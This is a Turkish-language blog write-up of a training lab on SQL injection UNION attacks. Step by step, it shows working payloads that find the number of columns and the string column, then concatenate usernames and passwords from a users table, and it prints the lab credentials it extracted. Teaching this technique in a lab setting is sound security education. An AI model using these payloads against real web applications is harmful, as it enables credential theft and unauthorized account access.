top of page

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
28 Nis
2 dakikada okunur

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Bir önceki yazımda SQL injection UNION saldırısıyla birden fazla kolondan veri çekmeyi anlatmıştım. Bu sefer işler biraz daha zorlaştı. Hedef uygulama yine UNION saldırısına açık, ancak bu kez string veri taşıyan yalnızca 1 kolon var. Peki 2 farklı veriyi (kullanıcı adı ve şifre) tek bir kolona nasıl sığdırırız? İşte bu lab tam olarak bunu öğretiyor.

Lab adı: SQL injection UNION attack, retrieving multiple values in a single column

Hedef: users tablosundaki tüm kullanıcı adı ve şifreleri çekip administrator hesabıyla giriş yapmak.

Zorluk: Sadece 1 string kolon mevcut, ikisini aynı anda çekmen gerekiyor.

Her zaman olduğu gibi ilk adım, uygulamanın SQL injection’a açık olup olmadığını anlamak. URL’e tek tırnak ekledim:

/filter?category=Lifestyle’

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Sonuç: Internal Server Error

Uygulama girdiyi doğrudan SQL sorgusuna gömdüğü için tırnak sözdizimini bozdu ve hata aldım. Açık var!

UNION saldırısı için önce kaç kolon olduğunu bulmam gerekiyor. NULL ekleyerek test ettim:

/filter?category=Lifestyle' UNION SELECT NULL--      → Hata 
/filter?category=Lifestyle' UNION SELECT NULL,NULL-- → Çalıştı
Lab: SQL injection UNION attack, retrieving multiple values in a single column
Lab: SQL injection UNION attack, retrieving multiple values in a single column

Sayfa ikinci denemede normal döndü. Yani sorgu 2 kolon döndürüyor.

2 kolon var ama hangisi string veri taşıyor? Her birine sırayla 'a' koyarak test ettim:

/filter?category=Lifestyle' UNION SELECT 'a',NULL--  → Hata 
/filter?category=Lifestyle' UNION SELECT NULL,'a'--  → Çalıştı
Lab: SQL injection UNION attack, retrieving multiple values in a single column
Lab: SQL injection UNION attack, retrieving multiple values in a single column

Sayfanın altında “a” harfi belirdi. Demek ki yalnızca 2. kolon string taşıyor. 1. kolon integer tipinde, string kabul etmiyor.

İşte burada sorun ortaya çıkıyor: username ve password olmak üzere 2 farklı veri çekmem gerekiyor, ama elimde sadece 1 string kolon var. Ne yapacağım?

Çözüm: İkisini birleştirip tek string yapmak! Bunun için || (pipe) operatörünü kullandım ve araya ~ ayracı koydum:

/filter?category=Lifestyle' UNION SELECT NULL,username||'~'||password FROM users--
Lab: SQL injection UNION attack, retrieving multiple values in a single column

Bu sorgunun mantığı şu: username ve password alanlarını al, aralarına ~ koy ve tek bir string olarak 2. kolona yerleştir.

Lab: SQL injection UNION attack, retrieving multiple values in a single column
carlos~sxcxw0hhqia2g51rde1e
administrator~6vq86k8ccc0rtho636ly

Tek bir kolondan hem kullanıcı adı hem şifre geldi!

Burada || operatörü çalıştı. Bu bize veritabanının Oracle veya PostgreSQL olduğunu söylüyor çünkü:

Elde ettiğim kimlik bilgileriyle giriş sayfasına gidip oturum açtım:

- Kullanıcı adı: administrator

- Şifre: 6vq86k8ccc0rtho636ly

Giriş başarılı — Lab çözüldü!

Bir sonraki yazıda görüşmek üzere🌸

 
 
bottom of page